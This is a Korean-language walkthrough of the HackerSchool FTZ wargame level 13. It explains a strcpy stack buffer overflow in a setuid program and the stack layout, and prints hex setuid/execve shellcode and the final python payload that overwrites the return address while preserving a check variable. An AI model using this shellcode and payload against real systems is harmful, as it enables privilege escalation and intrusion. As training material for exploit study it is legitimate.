BOF/ ftz-level13

 

FTZ란 Free Training Zone의 약자로 hackerschool에서 배포하는 워게임입니다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식입니다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있습니다.

사용 linux 명령어
ls - 파일 내역 출력 cat - 파일 내용 확인
gcc - gcc컴파일러로 컴파일하도록 하는 명령 vim - text editor
cp - 파일 또는 디렉터리 복사 명령
export - 환경변수 등록 명령
getenv - 환경변수를 모두 보는 명령
gdb - 디버깅 도구

send me email if you have any questions.


FTZ Level 13

ID : level13
PASSWD : have no clue


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  
#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}


level11부터는 attackme라는 파일이 존재하며 hint는 attackme의 소스가 제공된다.

소스분석
buf에 argv[1]을 strcpy함수로 복사하는 소스로 i가 0x1234567이 아니면 프로그램이 종료된다.
strcpy함수는 복사할 데이터의 크기제한이 없기 때문에 입력 데이터가 1024Byte보다 크다면 buffer-overflow가 발생하는 취약점이 있다.
level14의 권한으로 set-uid가 설정되어 있다.

level11부터는 쉘코드를 사용하여 공격을 한다.
what is shellcode? - 주로 기계어 코드로 이루어진 소프트웨어 취약점을 공격하기 위한 코드.

level13에서 사용한 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 쉘코드는 /bin/bash를 실행시키도록 하는 코드이다.

ftz에는 ASLR(메모리 보호기법)이 걸려있다.

ASLR은 프로그램을 실행할 때 마다 메모리 주소가 변경되는 메모리 보호기법


그림1
권한문제가 없도록 tmp디렉터리에 attackme를 복사하고 attackme의 메모리 구조를 파악하기 위해 gdb를 사용하여 intel방식으로 디스어셈블 한다.

어셈블리 분석
main+3 line을 보면 sep에 1048Byte의 공간을 할당하는것을 알 수 있다.
main+54 line을 보면 strcpy함수에 buf를 인자로 전달하기 위한 연산을 수행하고 있음을 알 수 있다.
따라서 buf의 주소는 ebp-1048.
main+69 line을 보면 ebp-12 를 0x1234567과 비교연산하고 있음을 알 수 있다.
소스를 보면 i가 0x1234567과 비교연산 하고 있으므로 ebp-12는 i의 주소이다.

ebp는 stack base pointer로 stack의 최하단을 가리키는 포인터로 스택이 소멸되기 전까지 값이 변하지 않는다.
스택은 높은 주소에서 낮은 주소로 자라는 특성을 가지고 있으므로 ebp-1048이 ebp-12보다 상단에 위치함을 알 수 있다.

buf와 i사이에 12Byte의 dummy가 있고, 스택에 할당된 총 공간이 1048Byte이므로 메모리 구조는 아래와 같다.

참고
esp는 스택의 최상단을 가리키는 포인터로 push, pop연산에 따라 4Byte씩 값이 변한다.
sfp(Saved Frame Pointer)는 이전 함수의 EBP주소를 저장하고 있는 공간이다.

메모리구조
buffer(1024Byte)
dummy(12Byte)
i(4Byte)
dummy(8Byte)
sfp(4Byte)
ret(4Byte)


그림2
쉘코드를 환경변수에 등록하고 환경변수의 주소를 ret에 덮는 방식으로 공격을 시도.
또한 중간에 i의 값을 적절히 변조하여 프로그램 종료 조건을 우회


그림3
환경변수의 주소를 얻기 위해 getenv명령을 통해 환경변수의 주소를 출력하는 소스를 작성한다.


그림4
소스파일을 컴파일하고 실행하여 환경변수의 주소를 얻는다.


그림5
ret에 접근하기 위해 ret전까지는 아무 값이나 채우고 ret에 환경변수의 주소를 little-endian방식으로 넣는다.
하지만 i의 값이 0x1234567이 아니면 프로그램이 종료되는 조건이 있으므로 우회하기 위해 i의 위치에 1234567을 값으로 대입하고,
ret에 접근하여 쉘코드의 주소를 대입한다.


페이로드

./attackme `python -c “print ‘A’*1036 + ‘\x67\x45\x23\x01’ + ‘A’*12 + ‘\x15\xfc\xff\xbf’”`